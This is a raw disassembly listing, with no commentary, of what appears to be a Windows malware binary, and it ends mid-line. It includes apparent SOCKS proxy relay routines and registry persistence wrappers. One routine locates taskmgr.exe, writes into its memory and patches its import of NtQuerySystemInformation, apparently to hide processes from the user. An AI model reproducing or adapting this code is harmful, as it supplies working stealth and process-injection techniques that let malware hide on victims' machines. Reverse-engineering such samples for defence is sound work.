sub_414C2D push 21h lea esi, [ebx+590h] pop ebx call sub_414AE0 mov eax, [ebp+8] mov dword ptr [eax+0B58h], 0Dh jmp short loc_40D39E ; --------------------------------------------------------------------------- loc_40D35E: ; CODE XREF: sub_40CA30+82Ej push dword ptr [ebp-14h] call sub_414B92 push dword ptr [ebp-14h] mov esi, eax call sub_414BCD push eax push esi call ds:dword_429274 ; inet_ntoa mov edi, [ebp+8] mov ebx, eax push 0 mov eax, edi call sub_40D606 push 21h lea esi, [edi+590h] pop ebx call sub_414AE0 mov dword ptr [edi+0B58h], 0Dh loc_40D39E: ; CODE XREF: sub_40CA30+92Cj mov eax, [ebp+8] cmp dword ptr [eax+0B58h], 0Dh mov ebx, eax jnz loc_40CA5C loc_40D3B0: ; CODE XREF: sub_40CA30+1Dj test byte ptr [ebp+0Ch], 1 jz short loc_40D3F6 push 400h lea eax, [ebp-618h] lea esi, [ebx+1Ch] push eax call sub_414D0B test eax, eax jle short loc_40D3F6 lea edi, [ebx+590h] loc_40D3D4: ; CODE XREF: sub_40CA30+9C4j push eax lea eax, [ebp-618h] push eax call sub_414C2D push 400h lea eax, [ebp-618h] push eax call sub_414D0B test eax, eax jg short loc_40D3D4 loc_40D3F6: ; CODE XREF: sub_40CA30+984j ; sub_40CA30+99Cj test byte ptr [ebp+0Ch], 20h jnz short loc_40D40B lea eax, [ebx+0B08h] call sub_416B46 test eax, eax jz short loc_40D442 loc_40D40B: ; CODE XREF: sub_40CA30+9CAj mov eax, ebx call sub_40D6BF inc dword ptr [ebx+0D80h] jmp short loc_40D442 ; --------------------------------------------------------------------------- loc_40D41A: ; CODE XREF: sub_40CA30+26Dj mov eax, ecx loc_40D41C: ; CODE XREF: sub_40CA30+204j call sub_40D69B jmp short loc_40D442 ; --------------------------------------------------------------------------- loc_40D423: ; CODE XREF: sub_40CA30+30j ; sub_40CA30+57j test byte ptr [ebp+0Ch], 20h jnz short loc_40D438 lea eax, [ebx+0B08h] call sub_416B46 test eax, eax jz short loc_40D442 loc_40D438: ; CODE XREF: sub_40CA30+9F7j mov dword ptr [ebx+0D80h], 2 loc_40D442: ; CODE XREF: sub_40CA30+9D9j ; sub_40CA30+9E8j ... mov ecx, [ebp-0Ch] pop edi pop esi pop ebx mov large fs:0, ecx leave retn 30h sub_40CA30 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D453 proc near ; CODE XREF: sub_40C987+82p var_57C = byte ptr -57Ch var_408 = byte ptr -408h var_8 = byte ptr -8 var_7 = byte ptr -7 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 57Ch test [ebp+arg_4], 8 push ebx push esi push edi jz loc_40D50E lea esi, [ebp+var_57C] call sub_414878 mov ebx, [ebp+arg_0] lea edi, [ebx+590h] push edi lea esi, [ebp+var_57C] mov [ebp+var_4], edi call sub_414A1F push 3 mov eax, edi call sub_414D44 mov al, [ebx+0B4Ch] cmp al, 5 mov ecx, 15Dh rep movsd jnz short loc_40D4D1 push [ebp+var_4] call sub_414B44 push [ebp+var_4] mov esi, eax call sub_414B68 push eax push esi call ds:dword_429274 ; inet_ntoa mov ebx, eax mov eax, [ebp+arg_0] push 0 call sub_40D606 mov ebx, [ebp+arg_0] jmp short loc_40D4EB ; --------------------------------------------------------------------------- loc_40D4D1: ; CODE XREF: sub_40D453+51j cmp al, 4 jnz short loc_40D4EB push 8 lea eax, [ebp+var_8] push eax lea edi, [ebx+1Ch] mov [ebp+var_8], 0 mov [ebp+var_7], 5Ah call sub_414C2D loc_40D4EB: ; CODE XREF: sub_40D453+7Cj ; sub_40D453+80j push 21h lea esi, [ebx+1Ch] pop ebx call sub_414AE0 mov ebx, [ebp+arg_0] mov eax, [ebx+488h] mov [ebx+14h], eax mov dword ptr [ebx+0B58h], 0Dh jmp short loc_40D511 ; --------------------------------------------------------------------------- loc_40D50E: ; CODE XREF: sub_40D453+10j mov ebx, [ebp+arg_0] loc_40D511: ; CODE XREF: sub_40D453+B9j test [ebp+arg_4], 1 jz short loc_40D557 push 400h lea eax, [ebp+var_408] lea esi, [ebx+590h] push eax call sub_414D0B test eax, eax jle short loc_40D557 lea edi, [ebx+1Ch] loc_40D535: ; CODE XREF: sub_40D453+102j push eax lea eax, [ebp+var_408] push eax call sub_414C2D push 400h lea eax, [ebp+var_408] push eax call sub_414D0B test eax, eax jg short loc_40D535 loc_40D557: ; CODE XREF: sub_40D453+C2j ; sub_40D453+DDj test [ebp+arg_4], 20h jnz short loc_40D56C lea eax, [ebx+0B18h] call sub_416B46 test eax, eax jz short loc_40D579 loc_40D56C: ; CODE XREF: sub_40D453+108j mov eax, ebx call sub_40D69B inc dword ptr [ebx+0D80h] loc_40D579: ; CODE XREF: sub_40D453+117j pop edi pop esi pop ebx leave retn 30h sub_40D453 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D580 proc near ; CODE XREF: sub_40D606+2Fp var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push esi push edi mov edi, ds:dword_429270 push ebx mov esi, eax call edi ; inet_addr cmp eax, 0FFFFFFFFh jz short loc_40D59A mov al, 1 jmp short loc_40D5AE ; --------------------------------------------------------------------------- loc_40D59A: ; CODE XREF: sub_40D580+14j push offset asc_43015C ; ":" push ebx call sub_41CDC0 test eax, eax pop ecx setnz al pop ecx add al, 3 loc_40D5AE: ; CODE XREF: sub_40D580+18j cmp al, 3 mov [esi], al jnz short loc_40D5D8 push ebx call sub_41C350 push 0FFh mov [esi+1], al push ebx add esi, 2 push esi call sub_41C5A0 push ebx call sub_41C350 add esp, 14h inc eax jmp short loc_40D602 ; --------------------------------------------------------------------------- loc_40D5D8: ; CODE XREF: sub_40D580+32j cmp al, 1 jnz short loc_40D5F6 push ebx call edi ; inet_addr mov [ebp+var_4], eax push 4 lea eax, [ebp+var_4] push eax inc esi push esi call sub_41BC60 add esp, 0Ch push 4 jmp short loc_40D5FC ; --------------------------------------------------------------------------- loc_40D5F6: ; CODE XREF: sub_40D580+5Aj cmp al, 4 jnz short loc_40D5FF push 10h loc_40D5FC: ; CODE XREF: sub_40D580+74j pop eax jmp short loc_40D602 ; --------------------------------------------------------------------------- loc_40D5FF: ; CODE XREF: sub_40D580+78j mov eax, [ebp+var_4] loc_40D602: ; CODE XREF: sub_40D580+56j ; sub_40D580+7Dj pop edi pop esi leave retn sub_40D580 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D606 proc near ; CODE XREF: sub_40CA30+840p ; sub_40CA30+8A8p ... var_108 = byte ptr -108h var_107 = byte ptr -107h var_106 = byte ptr -106h var_105 = byte ptr -105h var_104 = byte ptr -104h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 108h push esi push edi mov edi, eax mov al, [edi+0B4Ch] mov [ebp+var_108], al mov al, byte ptr [ebp+arg_0] mov [ebp+var_107], al lea eax, [ebp+var_105] mov [ebp+var_106], 0 call sub_40D580 push [ebp+arg_4] mov esi, eax call ds:dword_4292E4 ; htons push 2 mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push eax lea eax, [ebp+esi+var_104] push eax call sub_41BC60 add esp, 0Ch add esi, 6 push esi lea eax, [ebp+var_108] push eax add edi, 1Ch call sub_414C2D pop edi pop esi leave retn 8 sub_40D606 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D677 proc near ; CODE XREF: sub_40CA30+658p ; sub_40CA30+6EAp var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = byte ptr 8 push ebp mov ebp, esp push ecx mov al, [ebp+arg_0] push edi mov [ebp+var_3], al push 2 lea eax, [ebp+var_4] mov edi, ecx push eax add edi, 1Ch mov [ebp+var_4], 1 call sub_414C2D pop edi leave retn 4 sub_40D677 endp ; =============== S U B R O U T I N E ======================================= sub_40D69B proc near ; CODE XREF: sub_40CA30+33Ap ; sub_40CA30+6DCp ... push esi mov esi, eax push 2 lea eax, [esi+1Ch] call sub_414DBA mov dword ptr [esi+0B10h], 1388h add esi, 0B08h call sub_416B0E pop esi retn sub_40D69B endp ; =============== S U B R O U T I N E ======================================= sub_40D6BF proc near ; CODE XREF: sub_40CA30+9DDp push esi mov esi, eax push 2 lea eax, [esi+590h] call sub_414DBA mov dword ptr [esi+0B20h], 1388h add esi, 0B18h call sub_416B0E pop esi retn sub_40D6BF endp ; =============== S U B R O U T I N E ======================================= sub_40D6E6 proc near ; CODE XREF: sub_409BDA+190p ; sub_409BDA+43Dp ... arg_0 = dword ptr 4 mov ecx, [eax] lea edx, [ecx+esi] cmp ecx, edx jnb short loc_40D709 push edi loc_40D6F0: ; CODE XREF: sub_40D6E6+20j mov edi, [esp+4+arg_0] mov edx, ecx sub edx, [eax] inc ecx mov dl, [edx+edi] mov [eax+ecx+3], dl mov edx, [eax] add edx, esi cmp ecx, edx jb short loc_40D6F0 pop edi loc_40D709: ; CODE XREF: sub_40D6E6+7j add [eax], esi retn 4 sub_40D6E6 endp ; =============== S U B R O U T I N E ======================================= sub_40D70E proc near ; CODE XREF: sub_40D743+38p xor ecx, ecx mov ds:dword_437298, eax inc ecx mov eax, offset dword_437298 push esi loc_40D71C: ; CODE XREF: sub_40D70E+2Bj mov edx, [eax] mov esi, edx shr esi, 1Eh xor esi, edx imul esi, 6C078965h add esi, ecx mov [eax+4], esi add eax, 4 inc ecx cmp eax, offset dword_437C54 jl short loc_40D71C mov ds:dword_4352B0, ecx pop esi retn sub_40D70E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D743 proc near ; CODE XREF: sub_40D864:loc_40D894p ; sub_40D864:loc_40D8C4p var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx mov eax, ds:dword_4352B0 cmp eax, 270h jl loc_40D82F cmp eax, 271h jnz short loc_40D780 lea eax, [ebp+var_8] push eax call ds:dword_429238 ; GetCursorPos call ds:dword_4290A8 ; GetTickCount imul eax, 3039h add eax, [ebp+var_4] add eax, [ebp+var_8] call sub_40D70E loc_40D780: ; CODE XREF: sub_40D743+1Aj push esi push edi xor esi, esi mov edx, 7FFFFFFFh loc_40D789: ; CODE XREF: sub_40D743+80j mov ecx, esi shl ecx, 2 mov eax, ds:dword_43729C[ecx] xor eax, ds:dword_437298[ecx] and eax, edx xor eax, ds:dword_437298[ecx] mov edi, eax shr eax, 1 and edi, 1 xor eax, ds:dword_435478[edi*4] xor eax, ds:dword_4378CC[ecx] inc esi cmp esi, 0E3h mov ds:dword_437298[ecx], eax jl short loc_40D789 cmp esi, 26Fh jge short loc_40D801 lea ecx, ds:437298h[esi*4] loc_40D7D4: ; CODE XREF: sub_40D743+BCj mov eax, [ecx] lea esi, [ecx+4] xor eax, [esi] and eax, edx xor eax, [ecx] mov edi, eax and edi, 1 mov edi, ds:dword_435478[edi*4] xor edi, [esi-390h] shr eax, 1 xor edi, eax mov [ecx], edi mov ecx, esi cmp ecx, offset dword_437C54 jl short loc_40D7D4 loc_40D801: ; CODE XREF: sub_40D743+88j mov ecx, ds:dword_437C54 mov eax, ds:dword_437298 xor eax, ecx and eax, edx xor eax, ecx mov ecx, eax shr eax, 1 and ecx, 1 xor eax, ds:dword_435478[ecx*4] pop edi xor eax, ds:dword_4378C8 pop esi mov ds:dword_437C54, eax xor eax, eax loc_40D82F: ; CODE XREF: sub_40D743+Fj mov ecx, ds:dword_437298[eax*4] inc eax mov ds:dword_4352B0, eax mov eax, ecx shr eax, 0Bh xor ecx, eax mov eax, ecx and eax, 0FF3A58ADh shl eax, 7 xor ecx, eax mov eax, ecx and eax, 0FFFFDF8Ch shl eax, 0Fh xor ecx, eax mov eax, ecx shr eax, 12h xor eax, ecx leave retn sub_40D743 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D864 proc near ; CODE XREF: sub_402AC9+53p ; sub_402AC9+61p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push esi push edi lea eax, [ebp+var_8] push eax call ds:dword_429238 ; GetCursorPos mov esi, ds:dword_4290A8 xor edi, edi call esi ; GetTickCount shr eax, 2 imul eax, [ebp+var_8] add eax, [ebp+var_4] push 3 xor edx, edx pop ecx div ecx test edx, edx jbe short loc_40D8B1 loc_40D894: ; CODE XREF: sub_40D864+4Bj call sub_40D743 inc edi call esi ; GetTickCount shr eax, 2 imul eax, [ebp+var_8] add eax, [ebp+var_4] push 3 xor edx, edx pop ecx div ecx cmp edi, edx jb short loc_40D894 loc_40D8B1: ; CODE XREF: sub_40D864+2Ej cmp [ebp+arg_4], 0FFFFFFFFh jb short loc_40D8C1 cmp [ebp+arg_0], 0 jnz short loc_40D8C1 xor esi, esi jmp short loc_40D8C4 ; --------------------------------------------------------------------------- loc_40D8C1: ; CODE XREF: sub_40D864+51j ; sub_40D864+57j xor esi, esi inc esi loc_40D8C4: ; CODE XREF: sub_40D864+5Bj call sub_40D743 sub esi, [ebp+arg_0] xor edx, edx add esi, [ebp+arg_4] pop edi div esi pop esi mov eax, edx add eax, [ebp+arg_0] leave retn sub_40D864 endp ; =============== S U B R O U T I N E ======================================= sub_40D8DC proc near ; CODE XREF: sub_4047DC+15p ; sub_4048C1+19p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] and dword ptr [esi+4], 0 push [esp+4+arg_0] and dword ptr [esi+8], 0 push esi call sub_40DAB6 mov eax, esi retn 8 sub_40D8DC endp ; =============== S U B R O U T I N E ======================================= sub_40D8F7 proc near ; CODE XREF: sub_4047DC+82p ; sub_4048C1+B0p ... push esi mov esi, eax call sub_40DB08 mov eax, [esi+4] test eax, eax jz short loc_40D90D push eax call sub_41C7B8 pop ecx loc_40D90D: ; CODE XREF: sub_40D8F7+Dj mov esi, [esi+8] test esi, esi jz short loc_40D91B push esi call sub_41C7B8 pop ecx loc_40D91B: ; CODE XREF: sub_40D8F7+1Bj pop esi retn sub_40D8F7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D91D proc near ; CODE XREF: sub_40DA05+8p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp lea eax, [ebp+arg_4] push eax xor eax, eax push eax push eax push eax push [ebp+arg_4] mov eax, [ebp+arg_0] push dword ptr [eax] call ds:dword_429004 ; RegQueryValueExA mov eax, [ebp+arg_4] pop ebp retn 8 sub_40D91D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D93E proc near ; CODE XREF: sub_4047DC+23p ; sub_4048C1+27p ... var_10C = byte ptr -10Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10Ch push esi push [ebp+arg_4] call sub_41C350 mov esi, eax inc esi cmp esi, 100h pop ecx jbe short loc_40D960 xor eax, eax jmp short loc_40D9B9 ; --------------------------------------------------------------------------- loc_40D960: ; CODE XREF: sub_40D93E+1Cj push ebx xor ebx, ebx push edi mov [ebp+var_4], ebx mov edi, 0EAh loc_40D96C: ; CODE XREF: sub_40D93E+70j ; sub_40D93E+75j push ebx push ebx push ebx push ebx lea eax, [ebp+var_C] push eax lea eax, [ebp+var_10C] push eax push [ebp+var_4] mov eax, [ebp+arg_0] push dword ptr [eax] mov [ebp+var_C], esi call ds:dword_429018 ; RegEnumValueA cmp eax, edi mov [ebp+var_8], eax jz short loc_40D9A8 push [ebp+arg_4] lea eax, [ebp+var_10C] push eax call sub_41C730 test eax, eax pop ecx pop ecx jz short loc_40D9BE loc_40D9A8: ; CODE XREF: sub_40D93E+53j inc [ebp+var_4] cmp [ebp+var_8], ebx jz short loc_40D96C cmp [ebp+var_8], edi jz short loc_40D96C xor eax, eax loc_40D9B7: ; CODE XREF: sub_40D93E+83j pop edi pop ebx loc_40D9B9: ; CODE XREF: sub_40D93E+20j pop esi leave retn 8 ; --------------------------------------------------------------------------- loc_40D9BE: ; CODE XREF: sub_40D93E+68j xor eax, eax inc eax jmp short loc_40D9B7 sub_40D93E endp ; =============== S U B R O U T I N E ======================================= sub_40D9C3 proc near ; CODE XREF: sub_404B8D+58p ; sub_404B8D+69p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_8] push [esp+4+arg_4] push 3 push 0 push [esp+10h+arg_0] push dword ptr [eax] call ds:dword_429020 ; RegSetValueExA retn 0Ch sub_40D9C3 endp ; =============== S U B R O U T I N E ======================================= sub_40D9DE proc near ; CODE XREF: sub_40FCC4+41p ; sub_4142D6+39Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_8] call sub_41C350 pop ecx inc eax push eax push [esp+4+arg_8] mov eax, [esp+8+arg_0] push 1 push 0 push [esp+10h+arg_4] push dword ptr [eax] call ds:dword_429020 ; RegSetValueExA retn 0Ch sub_40D9DE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DA05 proc near ; CODE XREF: sub_40FD30+3Ep ; sub_4142D6+384p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] push esi call sub_40D91D mov [ebp+var_4], eax mov eax, [esi+4] test eax, eax jz short loc_40DA23 push eax call sub_41C7B8 pop ecx loc_40DA23: ; CODE XREF: sub_40DA05+15j push [ebp+var_4] call sub_41BA91 pop ecx lea ecx, [ebp+var_4] push ecx push eax push 0 push 0 push [ebp+arg_0] mov [esi+4], eax push dword ptr [esi] call ds:dword_429004 ; RegQueryValueExA mov eax, [esi+4] leave retn 4 sub_40DA05 endp ; =============== S U B R O U T I N E ======================================= sub_40DA4A proc near ; CODE XREF: sub_4048C1+36p ; sub_4048C1+A8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch push 4 lea eax, [esp+4+arg_8] push eax mov eax, [esp+8+arg_0] push 4 push 0 push [esp+10h+arg_4] push dword ptr [eax] call ds:dword_429020 ; RegSetValueExA retn 0Ch sub_40DA4A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DA68 proc near ; CODE XREF: sub_4048C1+3Fp ; sub_404C05+31p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx lea eax, [ebp+var_4] push eax lea eax, [ebp+arg_4] push eax mov eax, [ebp+arg_0] push 0 push 0 push [ebp+arg_4] mov [ebp+var_4], 4 push dword ptr [eax] call ds:dword_429004 ; RegQueryValueExA mov eax, [ebp+arg_4] leave retn 8 sub_40DA68 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DA94 proc near ; CODE XREF: sub_40DAB6+15p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push [ebp+arg_10] xor eax, eax push [ebp+arg_0] push eax push [ebp+arg_C] push eax push eax push eax push [ebp+arg_8] push [ebp+arg_4] call ds:dword_42900C ; RegCreateKeyExA pop ebp retn 14h sub_40DA94 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DAB6 proc near ; CODE XREF: sub_40D8DC+11p ; sub_416071+B3p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp lea eax, [ebp+arg_8] push eax push 2001Fh push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40DA94 pop ebp retn 0Ch sub_40DAB6 endp ; =============== S U B R O U T I N E ======================================= sub_40DAD4 proc near ; CODE XREF: sub_40DAEF+11p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push [esp+arg_0] push [esp+4+arg_C] push 0 push [esp+0Ch+arg_8] push [esp+10h+arg_4] call ds:dword_429010 ; RegOpenKeyExA retn 10h sub_40DAD4 endp ; =============== S U B R O U T I N E ======================================= sub_40DAEF proc near ; CODE XREF: sub_408CB7+DDp ; sub_408F96+207p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 2001Fh push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_40DAD4 retn 0Ch sub_40DAEF endp ; =============== S U B R O U T I N E ======================================= sub_40DB08 proc near ; CODE XREF: sub_408F96+1D6p ; sub_40D8F7+3p ... mov ecx, [esi] xor eax, eax test ecx, ecx jz short locret_40DB1A push ecx call ds:dword_42901C ; RegCloseKey and dword ptr [esi], 0 locret_40DB1A: ; CODE XREF: sub_40DB08+6j retn sub_40DB08 endp ; =============== S U B R O U T I N E ======================================= sub_40DB1B proc near ; CODE XREF: sub_408E9D+3Cp ; sub_409351+2Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h xor eax, eax push eax push eax push eax push eax push [esp+10h+arg_C] mov eax, [esp+14h+arg_0] push [esp+14h+arg_8] push [esp+18h+arg_4] push dword ptr [eax] call ds:dword_429008 ; RegEnumKeyExA retn 10h sub_40DB1B endp ; =============== S U B R O U T I N E ======================================= sub_40DB3C proc near ; CODE XREF: sub_4142D6+364p push esi mov esi, eax and dword ptr [esi+4], 0 or dword ptr [esi+0Ch], 0FFFFFFFFh mov dword ptr [esi], offset off_430624 call sub_416AC4 mov eax, esi pop esi retn sub_40DB3C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=78h sub_40DB56 proc near ; DATA XREF: .text:off_430624o var_14D4 = byte ptr -14D4h var_4D4 = dword ptr -4D4h var_2D4 = byte ptr -2D4h var_1D0 = byte ptr -1D0h var_17C = dword ptr -17Ch var_178 = dword ptr -178h var_150 = dword ptr -150h var_14C = dword ptr -14Ch var_D8 = byte ptr -0D8h var_9C = dword ptr -9Ch var_98 = byte ptr -98h var_96 = byte ptr -96h var_74 = byte ptr -74h var_54 = dword ptr -54h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = byte ptr -40h var_3C = byte ptr -3Ch var_38 = byte ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 push ebp mov eax, 14D4h lea ebp, [esp-78h] call sub_41E090 push ebx push esi push offset aPsapi_dll ; "psapi.dll" mov esi, ecx call ds:dword_4290E4 ; LoadLibraryA mov ebx, eax test ebx, ebx jz loc_40DEB8 push edi mov edi, ds:dword_4290E0 push offset aEnumprocesses ; "EnumProcesses" push ebx call edi ; GetProcAddress test eax, eax mov [ebp+78h+var_30], eax jz loc_40DEB7 push offset aEnumprocessmod ; "EnumProcessModules" push ebx call edi ; GetProcAddress test eax, eax mov [ebp+78h+var_34], eax jz loc_40DEB7 push offset aGetmodulefilen ; "GetModuleFileNameExA" push ebx call edi ; GetProcAddress test eax, eax mov [ebp+78h+var_24], eax jz loc_40DEB7 push offset aGetprocessimag ; "GetProcessImageFileNameA" push ebx call edi ; GetProcAddress test eax, eax mov [ebp+78h+var_2C], eax jz loc_40DEB7 mov edi, ds:dword_4290AC loc_40DBD7: ; CODE XREF: sub_40DB56+35Cj lea eax, [ebp+78h+var_20] push eax push 200h lea eax, [ebp+78h+var_4D4] push eax call [ebp+78h+var_30] and [ebp+78h+var_C], 0 test [ebp+78h+var_20], 0FFFFFFFCh jbe loc_40DEAA loc_40DBFB: ; CODE XREF: sub_40DB56+34Ej mov eax, [ebp+78h+var_C] push [ebp+eax*4+78h+var_4D4] push 0 push 43Ah call ds:dword_42913C ; OpenProcess test eax, eax mov [esi+14h], eax jz loc_40DE8F mov ebx, 104h push ebx lea ecx, [ebp+78h+var_2D4] push ecx push eax call [ebp+78h+var_2C] lea eax, [ebp+78h+var_2D4] push 5Ch push eax call sub_41C8A0 inc eax cmp eax, 1 pop ecx pop ecx jnz short loc_40DC4A lea eax, [ebp+78h+var_2D4] loc_40DC4A: ; CODE XREF: sub_40DB56+ECj push offset aTaskmgr_exe ; "taskmgr.exe" push eax call sub_426D1E test eax, eax pop ecx pop ecx jnz loc_40DE8F lea eax, [ebp+78h+var_38] push eax push 4 lea eax, [ebp+78h+var_4] push eax push dword ptr [esi+14h] call [ebp+78h+var_34] push ebx lea eax, [ebp+78h+var_2D4] push eax push [ebp+78h+var_4] push dword ptr [esi+14h] call [ebp+78h+var_24] lea eax, [ebp+78h+var_8] push eax push 40h lea eax, [ebp+78h+var_D8] push eax push [ebp+78h+var_4] push dword ptr [esi+14h] call edi ; ReadProcessMemory test eax, eax jz loc_40DE8F mov ecx, [ebp+78h+var_9C] lea eax, [ebp+78h+var_8] push eax push 0F8h lea eax, [ebp+78h+var_1D0] push eax mov eax, [ebp+78h+var_4] add ecx, eax push ecx push dword ptr [esi+14h] call edi ; ReadProcessMemory test eax, eax jz loc_40DE8F cmp [ebp+78h+var_178], 10101011h jz loc_40DE8F lea eax, [ebp+78h+var_3C] push eax push 4 push [ebp+78h+var_17C] push [ebp+78h+var_4] push dword ptr [esi+14h] call ds:dword_429140 ; VirtualProtectEx mov eax, [ebp+78h+var_17C] mov ebx, 1000h cmp eax, ebx jbe short loc_40DCF9 mov eax, ebx loc_40DCF9: ; CODE XREF: sub_40DB56+19Fj lea ecx, [ebp+78h+var_8] push ecx push eax lea eax, [ebp+78h+var_14D4] push eax push [ebp+78h+var_4] push dword ptr [esi+14h] call edi ; ReadProcessMemory test eax, eax jz loc_40DE8F mov ecx, [ebp+78h+var_9C] lea eax, [ebp+78h+var_40] push eax mov eax, [ebp+78h+var_4] push 4 push offset dword_42ABD8 lea eax, [ecx+eax+58h] push eax push dword ptr [esi+14h] call ds:dword_42914C ; WriteProcessMemory test eax, eax jz loc_40DE8F push 40h push ebx push ebx push 0 push dword ptr [esi+14h] call ds:dword_429144 ; VirtualAllocEx test eax, eax mov [esi+10h], eax jz loc_40DE8F mov eax, [ebp+78h+var_14C] push 14h xor edx, edx pop ecx div ecx and [ebp+78h+var_14], 0 test eax, eax jbe loc_40DE8F and [ebp+78h+var_18], 0 loc_40DD73: ; CODE XREF: sub_40DB56+333j mov ecx, [ebp+78h+var_18] lea eax, [ebp+78h+var_8] push eax push 14h lea eax, [ebp+78h+var_54] push eax mov eax, [ebp+78h+var_150] add ecx, eax add ecx, [ebp+78h+var_4] push ecx push dword ptr [esi+14h] call edi ; ReadProcessMemory test eax, eax jz loc_40DE72 mov eax, [ebp+78h+var_48] test eax, eax jz loc_40DE72 lea ecx, [ebp+78h+var_8] push ecx push 20h lea ecx, [ebp+78h+var_74] push ecx mov ecx, [ebp+78h+var_4] add eax, ecx push eax push dword ptr [esi+14h] call edi ; ReadProcessMemory test eax, eax jz loc_40DE72 lea eax, [ebp+78h+var_74] push offset aNtdll_dll ; "ntdll.dll" push eax call sub_426D1E test eax, eax pop ecx pop ecx jnz loc_40DE72 mov eax, [ebp+78h+var_54] mov ebx, [ebp+78h+var_44] lea ecx, [ebp+78h+var_8] push ecx push 4 lea ecx, [ebp+78h+var_1C] push ecx mov ecx, [ebp+78h+var_4] mov [ebp+78h+var_10], eax add eax, ecx push eax jmp short loc_40DE69 ; --------------------------------------------------------------------------- loc_40DDF4: ; CODE XREF: sub_40DB56+31Aj mov eax, [ebp+78h+var_1C] test eax, eax jz short loc_40DE72 lea ecx, [ebp+78h+var_8] push ecx push 22h lea ecx, [ebp+78h+var_98] push ecx mov ecx, [ebp+78h+var_4] add eax, ecx push eax push dword ptr [esi+14h] call edi ; ReadProcessMemory test eax, eax jz short loc_40DE4F lea eax, [ebp+78h+var_96] push offset aNtquerysystemi ; "NtQuerySystemInformation" push eax call sub_41C730 test eax, eax pop ecx pop ecx jnz short loc_40DE4F lea eax, [ebp+78h+var_8] push eax push 4 lea eax, [ebp+78h+var_28] push eax mov eax, [ebp+78h+var_4] add eax, ebx push eax push dword ptr [esi+14h] call edi ; ReadProcessMemory test eax, eax jz short loc_40DE4F mov eax, [ebp+78h+var_4] mov ecx, [ebp+78h+var_28] add eax, ebx push eax call sub_40DEBF loc_40DE4F: ; CODE XREF: sub_40DB56+2BCj ; sub_40DB56+2D0j ... add [ebp+78h+var_10], 4 mov ecx, [ebp+78h+var_10] lea eax, [ebp+78h+var_8] push eax push 4 lea eax, [ebp+78h+var_1C] push eax mov eax, [ebp+78h+var_4] add ebx, 4 add ecx, eax push ecx loc_40DE69: ; CODE XREF: sub_40DB56+29Cj push dword ptr [esi+14h] call edi ; ReadProcessMemory test eax, eax jnz short loc_40DDF4 loc_40DE72: ; CODE XREF: sub_40DB56+23Dj ; sub_40DB56+248j ... mov eax, [ebp+78h+var_14C] push 14h xor edx, edx pop ecx div ecx inc [ebp+78h+var_14] add [ebp+78h+var_18], 14h cmp [ebp+78h+var_14], eax jb loc_40DD73 loc_40DE8F: ; CODE XREF: sub_40DB56+C1j ; sub_40DB56+103j ... push dword ptr [esi+14h] call ds:dword_4290F0 ; CloseHandle mov eax, [ebp+78h+var_20] inc [ebp+78h+var_C] shr eax, 2 cmp [ebp+78h+var_C], eax jb loc_40DBFB loc_40DEAA: ; CODE XREF: sub_40DB56+9Fj push 32h call ds:dword_429084 ; Sleep jmp loc_40DBD7 ; --------------------------------------------------------------------------- loc_40DEB7: ; CODE XREF: 